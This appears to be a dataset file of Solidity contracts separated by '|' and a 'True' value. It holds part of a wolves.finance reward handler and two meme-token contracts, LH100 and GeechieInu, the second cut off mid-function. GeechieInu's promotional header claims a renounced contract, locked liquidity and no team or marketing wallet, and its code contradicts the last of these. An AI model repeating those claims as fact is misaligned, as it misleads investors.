// Initialize access
_setupRole(
DEFAULT_ADMIN_ROLE,
addressRegistry.getRegistryEntry(AddressBook.ADMIN_ACCOUNT)
);
// Initialize state
address adminAccount = addressRegistry.getRegistryEntry(
AddressBook.ADMIN_ACCOUNT
);
address marketingWallet = addressRegistry.getRegistryEntry(
AddressBook.MARKETING_WALLET
);
address teamWallet = addressRegistry.getRegistryEntry(
AddressBook.TEAM_WALLET
);
address rewardToken = addressRegistry.getRegistryEntry(
AddressBook.WOWS_TOKEN
);
address booster = addressRegistry.getRegistryEntry(
AddressBook.WOWS_BOOSTER_PROXY
);
address uniV2Router = addressRegistry.getRegistryEntry(
AddressBook.UNISWAP_V2_ROUTER02
);
_adminAccount = adminAccount;
_marketingWallet = marketingWallet;
_teamWallet = teamWallet;
_rewardToken = IERC20WowsMintable(rewardToken);
_booster = booster;
_uniV2Router = IUniswapV2Router02(uniV2Router);
emit Constructed(
adminAccount,
marketingWallet,
teamWallet,
rewardToken,
booster,
uniV2Router
);
}
/**
* @dev Set the childTunnel for reward bridging (child chain only)
*/
function setChildTunnel(IChildTunnel childTunnel_) external onlyAdmin {
require(address(childTunnel_) != address(0), 'Zero address');
childTunnel = childTunnel_;
}
//////////////////////////////////////////////////////////////////////////////
// Public API
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Set the minimal mint amount to save mint calls
*
* @param newAmount The new minimal amount before mint() is called
*/
function setMinimalMintAmount(uint256 newAmount) external onlyAdmin {
// Update state
_minimalMintAmount = newAmount;
}
/**
* @dev Distribute _distributeAmount to internal targets
*/
function distributeAll() external {
// Validate state
require(_distributeAmount > 0, 'Nothing to distribute');
_distribute();
}
/**
* @dev Distribute _distributeAmount to internal targets, transfer all WOWS
* to the new reward handler, and (optionally) destroy this contract
*
* @param newRewardHandler The reward handler that succeeds this one
* @param destroy True to destroy this contract, false to distribute without
* destroying
*/
function terminate(address newRewardHandler, bool destroy)
external
onlyAdmin
{
// Validate parameters
require(newRewardHandler != address(0), "Can't transfer to address 0");
// Distribute remaining fees
_distribute();
// Transfer WOWS to the new rewardHandler
uint256 amountRewards = _rewardToken.balanceOf(address(this));
if (amountRewards > 0)
_rewardToken.safeTransfer(newRewardHandler, amountRewards);
// Destroy contract
if (destroy) {
// Disable high-impact Slither detector "suicidal" here. Slither explains
// that "RewardHandler.terminate() allows anyone to destruct the
// contract", which is not the case due to validatation of the sender
// having the {AccessControl-DEFAULT_ADMIN_ROLE} role.
//
// slither-disable-next-line suicidal
selfdestruct(payable(newRewardHandler));
}
}
/**
* @dev Swap ETH or ERC20 token into rewardToken
*
* tokenAddress cannot be rewardToken.
*
* @param route Path containing ERC20 token addresses to swap route[0] into
* reward tokens. The last address must be rewardToken address.
*/
function swapIntoRewardToken(address[] calldata route) external onlyAdmin {
// Check for ETH swap (no route given)
if (route.length == 0) {
// Validate state
uint256 amountETH = payable(address(this)).balance;
require(amountETH > 0, 'Insufficient amount');
address[] memory ethRoute = new address[](2);
ethRoute[0] = _uniV2Router.WETH();
ethRoute[1] = address(_rewardToken);
// Disable high-impact Slither detector "arbitrary-send" here. Slither
// recommends that programmers "Ensure that an arbitrary user cannot
// withdraw unauthorized funds." We accomplish this by using access
// control to prevent unauthorized modification of the destination.
//
// slither-disable-next-line arbitrary-send
uint256[] memory amounts = _uniV2Router.swapExactETHForTokens{
value: amountETH
}(
0,
ethRoute,
address(this),
// solhint-disable-next-line not-rely-on-time
block.timestamp + ONE_HOUR
);
// Update state
_distributeAmount = _distributeAmount.add(amounts[1]);
} else {
// Validate parameters
require(route.length >= 2, 'Invalid route');
require(
route[route.length - 1] == address(_rewardToken),
'Route terminator != rewardToken'
);
// Validate state
uint256 amountToken = IERC20(route[0]).balanceOf(address(this));
require(amountToken > 0, 'Insufficient amount');
uint256[] memory amounts = _uniV2Router.swapExactTokensForTokens(
amountToken,
0,
route,
address(this),
// solhint-disable-next-line not-rely-on-time
block.timestamp + ONE_HOUR
);
// Update state
_distributeAmount = _distributeAmount.add(amounts[route.length - 1]);
}
}
// We can receive ether and swap it later to rewardToken
receive() external payable {
emit Received(_msgSender(), msg.value);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {IRewardHandler}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {IRewardHandler-getBoosterRewards}
*/
function getBoosterRewards() external view override returns (uint256) {
return
_rewardToken.balanceOf(_booster).add(
_distributeAmount.mul(FEE_TO_BOOSTER).div(1e6)
);
}
/**
* @dev See {IRewardHandler-distribute2}
*/
function distribute2(
address recipient,
uint256 amount,
uint32 fee
) public override {
// Validate access
require(hasRole(REWARD_ROLE, _msgSender()), 'Only rewarders');
// Validate parameters
require(recipient != address(0), 'Invalid recipient');
// If amount is zero there's nothing to do
if (amount == 0) return;
// Calculate absolute fee
uint256 absFee = amount.mul(fee).div(1e6);
// Calculate amount to send to the recipient
uint256 recipientAmount = amount.sub(absFee);
// Update state with accumulated fee to be distributed
_distributeAmount = _distributeAmount.add(absFee);
if (recipientAmount > 0) {
// Check how much we have to mint
uint256 balance = _rewardToken.balanceOf(address(this));
// Mint to this contract
if (balance < recipientAmount) {
uint256 mintAmount = recipientAmount > _minimalMintAmount
? recipientAmount
: _minimalMintAmount;
if (address(childTunnel) != address(0))
_rewardToken.safeTransferFrom(
_adminAccount,
address(this),
mintAmount
);
else _rewardToken.mint(address(this), mintAmount);
}
// Now send rewards to the user
_rewardToken.safeTransfer(recipient, recipientAmount);
}
// Emit event
emit RewardsDistributed(recipient, amount, fee);
}
/**
* @dev See {IRewardHandler-distribute}
*/
function distribute(
address recipient,
uint256 amount,
uint32 fee,
uint32,
uint32,
uint32,
uint32
) external override {
// Forward to new distribution function
distribute2(recipient, amount, fee);
}
//////////////////////////////////////////////////////////////////////////////
// Internal details
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Distribute the accumulated fees
*/
function _distribute() internal {
if (_distributeAmount > 0) {
// Load state
uint256 distributeAmount = _distributeAmount;
// Update state
_distributeAmount = 0;
// Check how much / if we have to mint
uint256 balance = _rewardToken.balanceOf(address(this));
if (balance < distributeAmount)
_rewardToken.mint(address(this), distributeAmount.sub(balance));
// Distribute the fee
if (address(childTunnel) == address(0)) {
_rewardToken.safeTransfer(
_teamWallet,
distributeAmount.mul(FEE_TO_TEAM).div(1e6)
);
_rewardToken.safeTransfer(
_marketingWallet,
distributeAmount.mul(FEE_TO_MARKETING).div(1e6)
);
} else {
childTunnel.distribute(
distributeAmount.mul(FEE_TO_MARKETING + FEE_TO_TEAM).div(1e6)
);
}
_rewardToken.safeTransfer(
_booster,
distributeAmount.mul(FEE_TO_BOOSTER).div(1e6)
);
// Emit event
emit FeesDistributed(distributeAmount);
}
}
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity 0.7.6;
interface IRewardHandler {
/**
* @dev Get the amount allocated for the Booster
*
* @return The amount which is allocated for the Booster (18 decimals)
*/
function getBoosterRewards() external view returns (uint256);
/**
* @dev Transfer reward and distribute the fee
*
* This is the new implementation of distribute() which uses internal fees
* defined in the {RewardHandler} contract.
*
* @param recipient The recipient of the reward
* @param amount The amount of WOWS to transfer to the recipient
* @param fee The reward fee in 1e6 factor notation
*/
function distribute2(
address recipient,
uint256 amount,
uint32 fee
) external;
/**
* @dev Transfer reward and distribute the fee
*
* This is the current implementation, needed for backward compatibility.
*
* Current ERC1155Minter and Controller call this function, later
* reward handler clients should call the the new one with internal
* fees specified in this contract.
*
* uint32 values are in 1e6 factor notation.
*/
function distribute(
address recipient,
uint256 amount,
uint32 fee,
uint32 toTeam,
uint32 toMarketing,
uint32 toBooster,
uint32 toRewardPool
) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity 0.7.6;
/**
* @title ICChildTunnel
*/
interface IChildTunnel {
// distribute internal rewards on root chain
function distribute(uint256 amount) external;
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '../../../0xerc1155/interfaces/IERC20.sol';
interface IERC20WowsMintable is IERC20 {
function mint(address account, uint256 amount) external returns (bool);
function enableUniV2Pair(bool enable) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
library AddressBook {
bytes32 public constant DEPLOYER = 'DEPLOYER';
bytes32 public constant TEAM_WALLET = 'TEAM_WALLET';
bytes32 public constant MARKETING_WALLET = 'MARKETING_WALLET';
bytes32 public constant ADMIN_ACCOUNT = 'ADMIN_ACCOUNT';
bytes32 public constant UNISWAP_V2_ROUTER02 = 'UNISWAP_V2_ROUTER02';
bytes32 public constant WETH_WOWS_STAKE_FARM = 'WETH_WOWS_STAKE_FARM';
bytes32 public constant WOWS_TOKEN = 'WOWS_TOKEN';
bytes32 public constant UNISWAP_V2_PAIR = 'UNISWAP_V2_PAIR';
bytes32 public constant WOWS_BOOSTER_PROXY = 'WOWS_BOOSTER_PROXY';
bytes32 public constant REWARD_HANDLER = 'REWARD_HANDLER';
bytes32 public constant SFT_MINTER_PROXY = 'SFT_MINTER_PROXY';
bytes32 public constant SFT_HOLDER_PROXY = 'SFT_HOLDER_PROXY';
bytes32 public constant SFT_EVALUATOR_PROXY = 'SFT_EVALUATOR_PROXY';
bytes32 public constant TRADE_FLOOR_PROXY = 'TRADE_FLOOR_PROXY';
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
interface IAddressRegistry {
/**
* @dev Set an abitrary key / address pair into the registry
*/
function setRegistryEntry(bytes32 _key, address _location) external;
/**
* @dev Get a registry enty with by key, returns 0 address if not existing
*/
function getRegistryEntry(bytes32 _key) external view returns (address);
}
|
True
|
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/**
* TG : t.me/LH100_Token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LH100 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "LH100 Token";
string private constant _symbol = "LH100";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x36d5f1462Aa1db1496595Fd70af62d087Db430B9);
_feeAddrWallet2 = payable(0x36d5f1462Aa1db1496595Fd70af62d087Db430B9);
_feeAddrWallet3 = payable(0x36d5f1462Aa1db1496595Fd70af62d087Db430B9);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 2;
_feeAddr2 = 5;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
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/*
t.me/GeechieInu
───────█────────────────────────███▓
────█──██──────────────────────███▓
─────██████───────────────────███▓
──────███████────────────────███▓
───── █◉██████───────────────██▓
────██████████───────────────██▓
────██████████────────────────██▓
─────█████████──────────█████████
─────────██████─────██████████████
─────────██████████████████████████
─────────██████████████████████████
─────────██████████████████████████
─────────██████████████████████████
──────────████████████▓▓▓▓█████████
──────────███████▓▓▓▓▓────▓████████
─────────█████▓▓▓──────────▓████████
─────────███▓▓██────────────▓▓██████
────────███▓─███─────────────█▓▓▓████
────────███──███─────────────███──███
───────███────██─────────────███───██
───────██─────███────────────██────██
──────███──────██───────────███────██
─────███───────██───────────██─────██
─────██─────────██─────────██──────██
────███─────────██────────███──────██
─彡███────────彡███──────彡███────彡███
░██████╗░███████╗███████╗░█████╗░██╗░░██╗██╗███████╗ ██╗███╗░░██╗██╗░░░██╗
██╔════╝░██╔════╝██╔════╝██╔══██╗██║░░██║██║██╔════╝ ██║████╗░██║██║░░░██║
██║░░██╗░█████╗░░█████╗░░██║░░╚═╝███████║██║█████╗░░ ██║██╔██╗██║██║░░░██║
██║░░╚██╗██╔══╝░░██╔══╝░░██║░░██╗██╔══██║██║██╔══╝░░ ██║██║╚████║██║░░░██║
╚██████╔╝███████╗███████╗╚█████╔╝██║░░██║██║███████╗ ██║██║░╚███║╚██████╔╝
░╚═════╝░╚══════╝╚══════╝░╚════╝░╚═╝░░╚═╝╚═╝╚══════╝ ╚═╝╚═╝░░╚══╝░╚═════╝░
CRYPTOMESSIAH's SHIBA INU!
☑️ Stealth-launch, no presale
☑️ Renounced contract
☑️ No max buy/sells, except small cooldown in the beginning.
☑️ A ERC20 meme token without developer & marketing wallet
☑️ Holding gets rewarded because of reflection
☑️ Locked liquidity
☑️ No chance that bots are able to buy this coin & have big % of tokens on launch
☑️ Earn tokens holding Geechie in your wallet. Team earns as well.
☑️ Slippage 16% -
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GeechieInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Geechie Inu || t.me/GeechieInu";
string private constant _symbol = 'GEECHIE';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 12;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
